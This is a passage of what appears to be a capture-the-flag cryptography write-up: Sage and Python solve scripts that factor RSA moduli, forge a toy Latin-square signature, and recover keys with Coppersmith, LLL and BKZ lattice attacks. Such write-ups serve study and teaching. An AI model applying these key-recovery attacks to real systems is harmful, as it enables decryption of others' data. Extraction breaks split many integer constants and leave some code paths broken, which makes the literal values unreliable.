0x5a2bf69e31eef5ec1b990a2d2e3f8ccb08ba9996db2022775770b3b486909653b5347c15ceab62b167ad1
dfa6a997efb56315fd6afde2e6c1b5af5a6e9b818556669992f148525c990bdb61e712339856dcf6e0f27ed
8279bb32aba553bbab2ad3ac4accf3084638528a34434ec80df33705e381b39e9786593cff3e04a5b23d
x5 =
0x5baeb38339d662e8c16b1f16cd6129af38adebb264ffb197d6245f56df813c64b7ef28e60137b54d15a42
27ca6ecd08f6ccbbbcb598bc94b1f326d8d488e13179d2999fb2c922165c9f27c2d7d0267e6924ce6395c33
ec52a35776e88874877d8ccbbf8ca9ee214a7b73a8f7da23db02978f3b8bd145c2cca66b17638169f5e9
x6 =
0x4c2fc188b5cd7f4d19a4b120402946d7f8ca11c711e7771c39814e01c692160b7545edcff82a22d4634c4
16185eb58ff44adfdce5dc36a6d7c663f57eb19fc34f1a6c7e493518b094ad46fb8f9b6eb741c4666878ac9
1898116eb353a0a5aab9289322aaca6bed2ee104db17be339af54538635208f756da15bf46d18b0549a
N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
p1 =
10380353390016201915155931372862387628985137857789293995947026456614681327513604492749061274580423818144620255384567915795111596729733085342931541757460053106402263258439077252040533605309551562172475638170221196269394438721049673319641725389559057595833820033021091190729979229631061768169518223963295270902 1
p3 =
12661345272338245970681272097081785604041168176644622203029288193055819830818642489882728421773444121600867901805747660086417269705962514472888377433091673695738566689448015464729604153352452409341503188206885422304342660780358588657848545146849456945278759571270055081659645908040224157234459409744902316600 7
p2q = N // p1 // p3
print(p2q)
x = [x0, x1, x2, x3, x4, x5, x6]

PR.<xB,A,B> = PolynomialRing(Zmod(p2q))
mtx = matrix(Zmod(p2q),6,8)
_f = []
for i in range(6):
    f = ((x[i]+x[i+1]+xB)*(x[i+1]-x[i])*(x[i+1]-x[i]) - (x[i]*x[i]*x[i]+A*x[i]+B) -
(x[i+1]*x[i+1]*x[i+1]+A*x[i+1]+B))**2 - 4 * (x[i]*x[i]*x[i]+A*x[i]+B) *
(x[i+1]*x[i+1]*x[i+1]+A*x[i+1]+B)
    _f.append(f)
    mtx[i] = f.coefficients()
    f = str(f).split(' + ')
```

```
    continue
    print(len(f))
    for j in range(8):
        print(i,j,f[j])
mtx2 = matrix(Zmod(p2q),6,8)
mtx2[:3,:] = (mtx[:3,:3])**(-1) * mtx[:3]
for i in range(3,6):
    mtx2[i] = mtx[i]
    for j in range(3):
        mtx2[i] -= mtx2[i,j] * mtx2[j]
mtx3 = mtx2[3:,4:]
print(mtx3)
print(det(mtx3[:2,:2]))
mtx4 = (mtx3[:2,:2])**(-1) * mtx3[:2]
_xB = -mtx4[0,3]
_A = -mtx4[1,3]
_kB = mtx3[2,0] * _xB + mtx3[2,1] * _A + mtx3[2,3]
p2 = gcd(int(_kB),p2q)
q = p2q // p2
print(p2)
print(q)
```

```
from Crypto.Util.number import *

N =
0x614d9a106993a792c144715b0269a2726eb18a2e7b1ea7061bce1f6acb31af6289309d67ce6b28b3e8811
0c42785c0ca23833cc0e2aa4a30aadb16d25db7a74ef03b0898b7af47d56d4538b0f556b2779ed86e0600f8
21354d51f8551ccd23bbf8bf91eb9a9283a3d4d5248e3f404b4c6646a7dc805f29940a7e29d2f50343e1acc
0d0067606606b331a64881bbafeafeb8ca44e736b41eab4608097216f587a1a4f74518614b46e91505e07c3
a280b701ee88ca189e9903d601bc934584409d560027e5b34adb1f4949333ab5db34e95e49374e354d4ddc0
88855f1aae7a95e32ef195521b33f118169ae613e3fd5bf8d2942c2bde9ef506346698b0b5192c86b1efe24
cffb907652afd5f0cb3966c7470195122ced63f5c40a4d9a3b6704e0b186ab7b9e3296b1299b6fa133d2455
a8f8d8a9007a22bc61546b357ea314b0d369d72d22063c5ed6c14aa2a7edf31bdf93e63149818ef3724ca1c
ac367ac22b51260c793212ea221e062fcca68f28a4cd0b3bbeee03b9c73fd064c8298e775ab8a63c94db480
a1eba918d09cba975304eed4fa5e874fc964e328547c23790e97102c6ad0bca9810dabb6285906f13d41798
d3237333288b4498610d1a8fa79be85a522232a7cb904cd7c9b7fab995f39cd22a9758a5c2b6dcf44299df1
e3e2ac360339b341ca6beb31eccba39ebd6f98dee127c6b5298db152fa6920b9703ab
```

```
c =
0x3a130d7f737dd7e5901290a55349342a535b94bb89831b1c02539480fe76b07ad64f5d2b618e637f4ddc5
36d46a1c05b219eafc9b609629ae6d1a9c1a888bc8b34d81b9f681fd9ca3919f8382b09f2ba1d78dedffc09
3c4795200d89aea37b0ac7f23c8eb621810d7a130fa1e324c9a6ea8c3ad69200057f91003d1305293be05d6
62505e45ea9172097cb030f8fdde2712070fc6f9def504440cac6c46305f7d81f6e40d53ec8ae6c653298e1
989ac8f9616dc1d93cb6976ac1c777fc7e50f1a8ef3100ba4871c769c8a3b52a37e15f523a49f69d9ff93c0
1639d0d099884e113483b580e224a12cbbc6711ae8c5af3ecd375f6da1be68f7fa7425f6e81ea63456d73f9
a24ba56766127d6a2871ff2945dbdc1fc14cce2d94c6aa9c114896a1ef06f992666484bc02eacfe540df0c8
138c05c572737f42d4069d3bc254df1c825b3a8844edb38f486f96cf153ac07523e430e0546b58abb6fe426
8460b722efbe9ee5c718a586f90588e9ad4c49db0068dc1db942756700142c26d512969428141d70c982b00
3d1d17450ceab0e7845b1e14ce10db3245366d4cd6f46457e0c6e05827f8e9b8bf4163df1712087aba0bce6
29951d7f2d5279b793bf8131a4b8ee84916e06b49ae4582eea9b43b58a2ee77e6618103ab28c1978800ad07
cd12f1ab6843385d18d33b191abccdc18f6fa90004f0edab5cc1ff3c6049cc1e41e89
p1 =
10380353390016201915155931372862387628985137857789293995947026456614681327513604492749061274580423818144620255384567915795111596729733085342931541757460053106402263258439077252040533605309551562172475638170221196269394438721049673319641725389559057595833820033021091190729979229631061768169518223963295270902 1
p3 =
12661345272338245970681272097081785604041168176644622203029288193055819830818642489882728421773444121600867901805747660086417269705962514472888377433091673695738566689448015464729604153352452409341503188206885422304342660780358588657848545146849456945278759571270055081659645908040224157234459409744902316600 7
p2 =
17489152726884493602194014825503300574386623086181011315718833288448882082632462360739395778564570784281948814025903140243013713283586333539710368077466598364977276190302254283952111470686680226122674965665333176662397765634197024963645997819636290767119438811394670312561657503215188424797792695826163634872 7
q =
17269840756021646475773330151604988637853532316420391125789408558337850507031514614682426324788908637991900154059169232116404716845709642363872920874363415245509438015395092832109874249651281092666607295227204962264035753168236395723132056181867120149099614570656379427124061139288353736186719556912740084715 9

d = inverse(0x10001, (p1-1) * (p2-1) * (p3-1) * (q-1))
print(long_to_bytes(pow(c,d,N)))
```

magic_sign

```
from secrets import randbits
from Crypto.Hash import SHAKE256
import re

Magic_Latin_Square = [[5, 3, 1, 6, 7, 2, 0, 4],
                      [3, 5, 0, 2, 4, 6, 1, 7],
                      [6, 2, 4, 5, 0, 3, 7, 1],
                      [4, 7, 6, 1, 3, 0, 2, 5],
                      [0, 1, 3, 7, 6, 4, 5, 2],
```

```
                      [7, 4, 2, 0, 5, 1, 6, 3],
                      [2, 6, 7, 3, 1, 5, 4, 0],
                      [1, 0, 5, 4, 2, 7, 3, 6]]

class Magic():
    def __init__(self, N):
        self.N = N

    def __call__(self, x):
        if isinstance(x, int):
            return MagicElement(x)
        elif isinstance(x, list):
            return MagicList(self, x)
        elif isinstance(x, str):
            return MagicList(self, [int(i) for i in x])

    def random_element(self):
        return randbits(3)

    def random_list(self, n):
        return (MagicList(self, [self.random_element() for _ in range(self.N)]) for i
in range(n))

    def shake(self, something):
        H = SHAKE256.new()
        H.update(something)
        H = re.findall(r'\d{3}', bin(int.from_bytes(
            H.read(384 // 8), 'big'))[2:].zfill(3*self.N))
        return self([int(i, 2) for i in H])

class MagicElement():
    def __init__(self, value):
        self.value = int(value) % 8

    def __eq__(self, other):
        return self.value == other.value

    def __add__(self, other):
        return MagicElement(Magic_Latin_Square[self.value][other.value])

    def __str__(self):
        return str(self.value)

class MagicList():
    def __init__(self, magic, lst):
        self.magic = magic
        self.N = magic.N
        self.U = [_ for _ in self.generator(self.N**2+1)]
        if isinstance(lst, MagicList):
```

```
            self.lst = lst.lst
        elif isinstance(lst[0], int):
            self.lst = [MagicElement(_) for _ in lst]
        elif isinstance(lst[0], MagicElement):
            self.lst = [_ for _ in lst]

    def generator(self, x):
        U = [(7*(3*i+5)**17+11) % self.N for i in range(self.N)]
        for i in range(x):
            yield U[i % self.N]
            if self.N-i % self.N == 1:
                V = U[:]
                for j in range(self.N):
                    U[j] = V[U[j]]
            i = i + 1
        return

    def mix(self, T, K):
        R = T+K
        e = self.U[0]
        for i in range(self.N ** 2):
            d = self.U[i+1]
            R.lst[d] = R.lst[d] + R.lst[e]
            e = d
        R = R+K
        return R

    def __add__(self, other):
        R = []
        for i in range(self.N):
            R.append(self.lst[i] + other.lst[i])
        return MagicList(self.magic, R)

    def __mul__(self, other):
        return MagicList(self.magic, self.mix(self, other))

    def __eq__(self, other):
        for i in range(len(self.lst)):
            if self.lst[i].value != other.lst[i].value:
                return False
        return True

    def __str__(self):
        if isinstance(self.lst[0], int):
            return ''.join([str(i) for i in self.lst])
        elif isinstance(self.lst[0], MagicElement):
            return ''.join([str(i.value) for i in self.lst])

    def __len__(self):
```

```
        return len(self.lst)

idx = sorted(set([(7*(3*i+5)**17+11) % 137 for i in range(137)]))
print(idx)

magic = Magic(137)          # most magical number

C =
'0464075456066401520473102432475142740337377306635370332375743466575405552766715701257
6564767700323172716116757034011025577430756016304 70'
P1 =
'7615631154254431525432171663576517250703202204425270273725317551426176555006421104424 2
46513432737376370641553172710512744704032442150043 2'
P2 =
'2347371766452740521465570616222353260626746335374125162017774742341627224032166172307 3
41433700531442135555167670442414212355760551104524 0'
S =
'2007270302202376666410202441615367643564075070010365332167452422405463065027346245765 2
43400200003232260533732752467101677071335203123144 6'

C = magic(C)
P1 = magic(P1)
P2 = magic(P2)
S = magic(S)

H_ = magic.shake(b'Never gonna give you flag~')
res = C*H_*P2
A = [int(str(i)) for i in P1.lst]
B = [int(str(i)) for i in res.lst]
S_ = []
for i in range(137):
    if i not in idx:
        for j in range(8):#[int(str(S__.lst[i]))]:
            tmp = Magic_Latin_Square[A[i]][j]
            tmp = Magic_Latin_Square[tmp][j]
            if tmp == B[i]:
                S_.append(j)
                break
    else:
        S_.append(0)
#print(S_)
U = [idx.index(i) for i in P1.U]
S0 = [int(str(A[i])) for i in idx]
ans = [int(str(B[i])) for i in idx]
Si = [0]*9
Ux = [0] + [len(U) - U[::-1].index(i) - 1 for i in range(9)]
print(Ux)
Ux = sorted(Ux)
print(Ux)
```

```
def solve(Si):
    Sx = S0[:]
    for i in range(9):
        Sx[i] = Magic_Latin_Square[Sx[i]][Si[i]]
    e = U[0]
    for j in range(9):
        for i in range(Ux[j],Ux[j+1]):
            d = U[i+1]
            Sx[d] = Magic_Latin_Square[Sx[d]][Sx[e]]
            e = d
        #print(i, e, d, Magic_Latin_Square[Sx[d]][Si[d]], ans[d])
        if Magic_Latin_Square[Sx[d]][Si[d]] != ans[d]:
            return False
    for i in range(9):
        Sx[i] = Magic_Latin_Square[Sx[i]][Si[i]]
    if Sx == ans:
        return True
        for i in range(9):
            S_[idx[i]] = Si[i]
        Sf = magic(S_)
        print('-'*77)
        print('S_ =',Sf)
        print(P1*Sf)
        print(res)
        print(Sx)
        print(ans)
        print(Si)

Si = [int(str(S__.lst[i])) for i in idx]
print(Si, solve(Si))
_Si = Si[:]
Si = [0]*9
for Si[0] in range(8):
    for Si[1] in range(8):
        for Si[2] in range(8):
            print(64*Si[0]+8*Si[1]+Si[2])
            for Si[3] in range(8):
                for Si[4] in range(8):
                    for Si[5] in range(8):
                        for Si[6] in range(8):
                            for Si[7] in range(8):
                                for Si[8] in range(8):
                                    if solve(Si):
                                        for i in range(9):
                                            S_[idx[i]] = Si[i]
                                        print(''.join([str(i) for i in S_]))
                                        exit()
```

Clearlove

```
from gmpy2 import next_prime, iroot

def attack2(N, e, m, t, X, Y):
    PR = PolynomialRing(QQ, 'x,y', 2, order='lex')
    x, y = PR.gens()
    A = -(N-1)**2
    F = x * y**2 + A * x + 1

    G_polys = []
    # G_{k,i_1,i_2}(x,y) = x^{i_1-k}y_{i_2-2k}f(x,y)^{k}e^{m-k}
    for k in range(m + 1):
        for i_1 in range(k, m+1):
            for i_2 in [2*k, 2*k + 1]:
                G_polys.append(x**(i_1-k) * y**(i_2-2*k) * F**k * e**(m-k))

    H_polys = []
    # y_shift H_{k,i_1,i_2}(x,y) = y^{i_2-2k} f(x,y)^k e^{m-k}
    for k in range(m + 1):
        for i_2 in range(2*k+2, 2*k+t+1):
            H_polys.append(y**(i_2-2*k) * F**k * e**(m-k))

    polys = G_polys + H_polys
    monomials = []
    for poly in polys:
        monomials.append(poly.lm())

    dims1 = len(polys)
    dims2 = len(monomials)
    MM = matrix(QQ, dims1, dims2)
    for idx, poly in enumerate(polys):
        for idx_, monomial in enumerate(monomials):
            if monomial in poly.monomials():
                MM[idx, idx_] = poly.monomial_coefficient(monomial) * monomial(X, Y)
    B = MM.LLL()

    found_polynomials = False

    for pol1_idx in range(B.nrows()):
        for pol2_idx in range(pol1_idx + 1, B.nrows()):
            P = PolynomialRing(QQ, 'a,b', 2)
            a, b = P.gens()
            pol1 = pol2 = 0
            for idx_, monomial in enumerate(monomials):
                pol1 += monomial(a,b) * B[pol1_idx, idx_] / monomial(X, Y)
                pol2 += monomial(a,b) * B[pol2_idx, idx_] / monomial(X, Y)

            # resultant
```

```
            rr = pol1.resultant(pol2)
            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print(f"found them, using vectors {pol1_idx}, {pol2_idx}")
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely
happen...")

    PRq = PolynomialRing(QQ, 'z')
    z = PRq.gen()
    rr = rr(z, z)
    soly = rr.roots()[0][0]

    ppol = pol1(z, soly)
    solx = ppol.roots()[0][0]
    return solx, soly

def seq(r, k, m):
    v = vector(Zmod(m), [r, 2])
    if k >= 2:
        M = Matrix(Zmod(m), [[r, -1], [1, 0]])
        v = (M**(k-1)) * v
    ret = v[0] if k != 0 else v[1]
    return int(ret)

def legendre_symbol(a, p):
    """ Compute the Legendre symbol a|p using
        Euler's criterion. p is a prime, a is
        relatively prime to p (if p divides
        a, then a|p = 0)
        Returns 1 if a has a square root modulo
        p, -1 otherwise.
    """
    ls = pow(2,(p-1)//2,p)
    return -1 if ls == p - 1 else ls

def decrypt(c, e, p, q):
    d_p = {1: int(pow(e, -1, p-1)), -1: int(pow(e, -1, p+1))}
    d_q = {1: int(pow(e, -1, q-1)), -1: int(pow(e, -1, q+1))}

    inv_q = int(pow(p, -1, q))
    inv_p = int(pow(q, -1, p))
```

```
    i_p = legendre_symbol(c**2-4, p)
    i_q = legendre_symbol(c**2-4, q)
    r_p = seq(c, d_p[i_p], p)
    r_q = seq(c, d_q[i_q], q)

    r = CRT([r_p, r_q], [p, q])
    v_rp = seq(r, e, p**2)
    t_p = int((c * pow(v_rp, -1, p**2)) % p**2)
    s_p = (t_p - 1) // p

    v_rq = seq(r, e, q**2)
    t_q = int((c * pow(v_rq, -1, q**2)) % q**2)
    s_q = (t_q - 1) // q

    m_p = (s_p * inv_p) % p
    m_q = (s_q * inv_q) % q

    m = CRT([m_p, m_q], [p, q])

    return m

if __name__ == '__main__':
    n =
818434410920416108397483077174799622582019635254020789851001299693330090495979816556355
189813396919853020170130214443863663661200643087202409541105865608274464020454877034425
579184832409585658536809477697146935623504097940397659215208630893680271369571617824098
042035253014929611124668801692968876719534302 83
    e =
195882917300425579053178586056938912796978223862465740387182414714312886918979489648612
264381910529863879046262825903709747018742628618755561719574431711676618813882676654993
281242120642330739883113591257718370486118048057176509942243385411324537882033279249123
487309199691081974005162124889143854343342040998847547222449163090015159561497266332737
200132334993076365078463407558363894649730931897922925364788296420156532778222134526864
849971361508942467128036472332180125581667709550959560497696450486521116872387313354344
132584581323073721896334601607077650069526290870347217534525835007114614737291877166649
7047947

    alpha = ZZ(e).nbits() / ZZ(n).nbits()
    beta = 0.4396
    nbits = 1024
    delta = 0.642

    X = 2 ** int(nbits*(alpha+delta-2)+3)
    Y = 2 ** int(nbits*beta+3)

    x, y = map(int, attack2(n, e, 12, 12, X, Y))
    print(x,y)
    p_minus_q = y
```

```
    p_plus_q = iroot(p_minus_q**2 + 4 * n, 2)[0]

    p = (p_minus_q + p_plus_q) // 2
    q = n // p
    print(p,q)
    assert p * q == n
    phi = (p**2 - 1) * (q**2 - 1)
    d = pow(e, -1, phi)
    print(d)
```

```
enc = []
with open(r"C:\Users\Administrator\Documents\WeChat
Files\wxid_jm7opkz8inuj22\FileStorage\File\2022-12\5_6098311634231494944.txt",'r') as
f:
    for i in range(65536):
        enc.append(int(f.readline().strip()))

N =
818434410920416108397483077174799622582019635254020789851001299693330090495979816556355
189813396919853020170130214443863663661200643087202409541105865608274464020454877034425
579184832409585658536809477697146935623504097940397659215208630893680271369571617824098
042035253014929611124668801692968876719534302 83
e =
195882917300425579053178586056938912796978223862465740387182414714312886918979489648612
264381910529863879046262825903709747018742628618755561719574431711676618813882676654993
281242120642330739883113591257718370486118048057176509942243385411324537882033279249123
487309199691081974005162124889143854343342040998847547222449163090015159561497266332737
200132334993076365078463407558363894649730931897922925364788296420156532778222134526864
849971361508942467128036472332180125581667709550959560497696450486521116872387313354344
132584581323073721896334601607077650069526290870347217534525835007114614737291877166649
7047947
d =
454534608809002141897335555566924912698623728047654552870717148713255770514430348284474
502806069168974553557556951614288022368809511585161533009161947014916715407952502397175
159236291303794799733283
msg = []
for c in enc:
    msg.append(pow(c,d,N))

p =
990367536408524906540912485167816012092796554403092639917950993714265910699138052663068
131070259292593771612112016905904144038137551264432483487958987773403759866096258076571
660618998739176702013853258687325567753038298889168254166361474202422033630403618955865
472205722190830457928271527937
g =
745013838642250986737914025336862504661062017981819269513542907265222774830330586097756
124678061002877695509685688964126565784246358161149675046363463274308162223776270434432
888284419417479549219965033745142547821863438374478028783067286583042510995247992045551
680383288951502770625897136683
```

```
G = [pow(g,i,p) for i in range(65536)]

flag = []
for i in range(120):
    vct = int(sum(msg[j] * G[(-i*j)%65536] for j in range(65536)) * pow(65536,-1,p) %
p).to_bytes(120,'big')
    flag += [vct[i]]
    print(i,bytes(flag))
```

super_guess

```
from Crypto.Util.number import *

q = 122369119599657811381331763640209793342602486437 3
A = [353019658104496120050139101132034883612024932797,
107024225768381419368680783781024142615146001488 3,
463849169944312880723289276669429474706386689207,
907563643174993934294661847699293353675418349721,
902763704412541097701321539198524968266554778891,
319433733746565851553277856534331596560743329745,
802781852854339531198314546944664579933984156732,
321205590286415796233489926506502395607735076401,
883157779718328637777938957284024678156632622330,
105124102234726385966989232464502180964633791927 9,
320114006122691320777330577486841584400845787804,
371874134913795331763180650621425803371198749800,
936106317280755918237613592995987150606141600582,
969732531526858799854443596384403140996130098 91,
114538475327786316071743590474888391934984289220,
112875685219469508479340478610162278922640393702 9,
861447833216957367097376134233675077450825848854,
983585122121374346735023619237325912697745959250,
999666138490454858801141594480609317160153888767,
881423514599744299901675754561612243317549235296,
454705920798444821685258008219861057546078793026,
547759438392921308167626786712245335844820621418,
489233252734757662811532534478976206806024798383,
119552745087842993808473494158287011815545703130 3,
309353339338652073903125948539440276446546499439,
569082099282255290947977921115095702822703583092,
593497070700055966170460038006022271793486364870,
122574630313659748449279055310732479472758316508,
774777237573504374535568586950271606350292778627,
792947751542215187940183823957734416638138030455,
635295674176881882210030533731990455048841017975,
599160174948531239782720454366783847946635134596,
561020292553032521371888160720107575415810750589,
209738920517810015297296407845835854859923952469,
```

32445476461174576454151031860654513721190718093 2,
82265940019814384326084725267565013131752327800 0,
31578214663616126090859648887666822261938278595 7,
11266286583299928812965097764172049897979794611 74,
12125083842290067922025018748382876073995583005 90,
22837400292856128196944221613133150069472856548 7,
22900070398747561533818198375838455414751846430 4,
92369241776817842995418682636563925398624183606 5,
67000810670521574147508993631204066405040931402 2,
96847264290256460530630480898772057127970905841,
72701913707969384655688606430852337855971993867 3,
10678037143519486069072494710533599619074972033 37,
58890347292564763457075789981042090153299611252 3,
11301447829898788445439767351345638376242997826 82,
51232898007117601720086979340412018119687192177 6,
23017252883001900734652100437410911945674547717 6,
77217818771211412034618853444834713689522982833 6,
45269700011023015684646435618291938177096958643 9,
98534122766280704475932405287717873130827615008,
75604804602970877953220708976188771692807920854 2,
45390967665195826148930247922815622613775823212 1,
89966656846702130122021276815454637037795810046 7,
19046282993069213135866117900286747844917386476 4,
50960194648345846321489440833286098289798262129 9,
22474984646907361489703027918449303885441798436 1,
18866858923213128059098819887334644148566810951 9,
84408036624728057204160336878244140922889331685 4,
12817363300829165590818542865197001115227001354 0,
67878726597667842039773405442772355102996368247 9,
76205805186891760357541015537677734459192913063 6,
96388351199816633634769771891835105545735591154,
84010728006537052913028058627167510341060916098 1,
18987846815650517599043422122976308157087414943 7,
89459676365327679356051244700334386133112748159 0,
96492450429242037713422827695123332397584074949 6,
11547479957291290368268634290625466250449288395 43,
11910526026948057821847392272791533012886263703 53,
69052871981808398904443596927761966264808931614 8,
29054943531070927350055809265926549702914206499 4,
17638745096323270188283381695545593918637896054 0,
78342644335987098489896440107986137084821073404 4,
44308586940763724050975106307576743788211181953 3,
19117005061175944467846480001126335897601298205 2,
56104135466261188625561885439788346833474089029 5,
14171561485575521378655777324269352150902385464,
32938561945331615102695527864271108562159547611 2,
95587976507869331463471725883066574166261774128 2,
10885615938525889370480188381626208731386156783 27,
25788691062187791308064481389144064302076048908,

```
974940294222342228884880321452802722887526458646,
499064997394504162028941452217545156289484850241,
282127477672289051303248584637031938883291988791,
110514976151189479827485676533165267689206418399 4,
802087222978586382131175632511593618426187564752,
674778777146535905204198978920899498352531269160,
920564272609936156508080594502059848569755732632]
B = [337630319878108226821024355258432731519772392674,
318533554385294724992148586391328385804031265 41,
908800422428498756599892777441195623903504939442,
895227796831176548695079620221432871573152098155,
248957890528798742623101080236271754681540340673,
422229925417136852429553523601997094779064103268,
100473711949076092380689610208257353456801539 7736,
728554659996520545808824785437315879637924449 51,
104614661939277946137803838064370656868218667 5535,
107198354914213941500287245268382211013128767 2589,
100143500684940648104581818981925790300139112 7221,
800609632870799916755956095020872852721813045302,
743163104229623419339976589763231511318310449135,
107786137820278418544861678049305467233485957 1910,
613712590994308200224126857983626979042881578229,
176684587740762809523257544780970704606992499245,
418305852154526866556084996533996911419417550419,
901062169975459426188173421345446382750495505445,
105787015726952166727163718004710643171408089 1708,
270244735234124760024867839156337299271365766339,
111030954517748517643923772394185666873079678 0241,
560136710683484894783175972654225543393631325964,
433051614050896638929927045481143073680954600889,
941328413329345592985852213478015005911685702662,
215960195735590793493297892595933783641836428620,
814210003436107162821782054089763302573062013367,
117680193121942674662317768741517283910240585 7457,
755031665434513210325594394626373307983068509634,
107538926472131187829073359677289569806546861 0280,
164236891921777609022285709895678139923211932 54,
720792491382826585022487842060686000464623673309,
852236691677472740665365033320187395445196308381,
100644629560709749964777150546473085377919141 5416,
474426411144942897814465904288867842997144183863,
908076079198138705389386818737590549776876156028,
477578053863163950592808417909848541730881423 35,
180855679522931453869187314877767408966114411842,
634278691669336190040657275281324552448158015530,
613461863445492152338892302232253952767717159703,
639684045941147901898712373647439251956366305962,
277297313020922817715820010818559304860177537396,
690721122766694204515951613767172383142981578474,
```

```
509460343919355612234953916891501197156485983405,
831000573888976276497785915039538879086681043116,
468090145826135592416986477710955801798360811819,
771002733393650953325815854025534850773011008146,
857246374255290122927634366117198992531216698456,
121686540171800692991254888847891403882750948700 6,
120617079523105171481003702753733934322549180053 5,
266879031441731290545380905322057545018379376605,
599129522630338477923603153086280521041260390552,
849826127343705318824234749594949704200053938722,
440089963992951826501559614988604212404463074789,
624315573244413314508722041181199277910260711296,
106346568905742113733629421672686691164324640921 4,
669332669756649710279060157877994851988628846071,
911527301460026927530846659896146691852422631248,
470287408894306110920310716261381285282624974244,
192409792722231544329799424454866839183167559331,
350969720663883926855138678105261360298915009429,
509048064243265993443480792708912164942238992447,
566540202117785708299912109404623121771625331028,
470270957613081045487503930664787048460449166632,
944636978659997673501451263496091952815542060 07,
308452020491788540693027814945844833280431822398,
142108134920307304977757829302564162722342766349,
455539659441703968220144672728948355125709178 79,
522037087907793875874851528418315719466758109017,
969853006034110593668656348451444873865778757884,
846411897485937835035560813820655943347084441535,
519232492613434685786992634347764734835022449165,
835957687664987669698322258164449869000557017342,
116448159430606592204810091736648872710911133184 8,
475120101765250843798386741322253144503564378969,
503971320839392874953205824510858295556513351982,
277342083802606460217685877984407168007063835217,
408049842928366759662705720979426567623682073014,
231682345351288793200024650104837568582075189168,
106453457029548391757397262012710869417917716634 4,
153286817849136955521876830779316054407967721498,
955239162326493353695144117578539280368964797 4,
256351120666611672446376032712568179330310008496,
332971574113500871596379764903164642401349172079,
720672241698309559737151942982126877767423290232,
464109367949173731591648892860197551735268698258,
995319740091195006445669600945539428595013284678,
952215643439366397714393127840481798125521301112,
112347964348347924726183379016298119346827010890 6,
345961759852570061653284751595328192832242829534,
637187488885086303310423228166771951050502115216]
s=409689551476
```

```
for i in range(len(A)):
    B[i]=(B[i]-A[i]*s+2^157)%q
L=Matrix(ZZ,92,92)
for i in range(90):
    L[i,i]=q
    L[90,i]=(A[i]*2^40)%q
    L[91,i]=((B[i])%q)

L[90,90]=2^37
L[91,91]=2^157

basis=list(L.BKZ(block_size=30))

for i in range(len(basis)):
    if basis[i][-1]:
        m=abs(basis[i][-2]//2^37)
        print(long_to_bytes(int(m)),m*2^40+s)
```

easyRSA

```
e =
31213630597468356280224045444038227244606055536413326120550105871294519730024751266446681742949550707479850028008636529178959395385963033561134835095818415272863515372875003042679750616759011099828757785278277421208788353673865385610390723919973577024216910958616946817070179213912445195939455847556329019878403380658799011159345614265830088384532440516293400568677609238946231055424635000222212364578525028227074665284399694848906019536153036097255666171264589340951196700870687525435211675174617309770444653745050117919025101318235566033164570851458869992204267462349869846191612990981735353715409232648984591064 61
c =
30233133636299095069239271994262931875831127491475396993467236550958682141792912224413074365553525370556901554187156529876854599382508441454506754181876647193273504881607228389896759286966333531802334550176099368740148839759327402176727052862655356461060532945079626134981426177413627307093608851189054403145733929815280772651104412702123859510705916968271677715926645026525207906123672594345451698369335713434800571417902922969527439867313894687603644163448375757402364164725897005815830162272734496738205684276411361637031162761045508771918398516409204309192788020981964086379047807257232683714656709503218818868 63
n=
10194688855260503372617783770973816393003297047736166439456413462663946784355363492051044733998584268938751951755371458299150672204507869677198605224630606825795726147841609318864043750348186282538124148040546398551659852045321121720630882677966998083359606667726254984152413453972927944691081716962087192928 9

import itertools
```

```
def small_roots(f, bounds, m=1, d=None):
  if not d:
    d = f.degree()

  R = f.base_ring()
  N = R.cardinality()

  f /= f.coefficients().pop(0)
  f = f.change_ring(ZZ)

  G = Sequence([], f.parent())
  for i in range(m+1):
    base = N^(m-i) * f^i
    for shifts in itertools.product(range(d), repeat=f.nvariables()):
      g = base * prod(map(power, f.variables(), shifts))
      G.append(g)

  B, monomials = G.coefficient_matrix()
  monomials = vector(monomials)

  factors = [monomial(*bounds) for monomial in monomials]
  for i, factor in enumerate(factors):
    B.rescale_col(i, factor)

  B = B.dense_matrix().LLL()

  B = B.change_ring(QQ)
  for i, factor in enumerate(factors):
    B.rescale_col(i, 1/factor)

  H = Sequence([], f.parent().change_ring(QQ))
  for h in filter(None, B*monomials):
    H.append(h)
    I = H.ideal()
    if I.dimension() == -1:
      H.pop()
    elif I.dimension() == 0:
      roots = []
      for root in I.variety(ring=ZZ):
        root = tuple(R(root[var]) for var in f.variables())
        roots.append(root)
      return roots

  return []

PR.<x,y> = PolynomialRing(Zmod(e))
f = x*(n*n - 2*n + 1 - y*y) + 1
print(small_roots(f,(2**512,2**512),m=4,d=6))
```

```
"""
import gmpy2
a=20667724110784213991892194294277801269023104456768009005549150445582231498300395271377019547789591144829574800606997965940129417283911782157179018816622 88
N=10194688855260503372617783770973816393003297047736166439456413462663946784355363492051044733998584268938751951755371458299150672204507869677198605224630606825795726147841609318864043750348186282538124148040546398551659852045321121720630882677966998083359606667726254984152413453972927944691081716962087192928 9
s=gmpy2.iroot(a**2+4*N,2)[0]
p=(a+s)//2
q=N//p
print(N%p)
print(p)
print(q)
"""
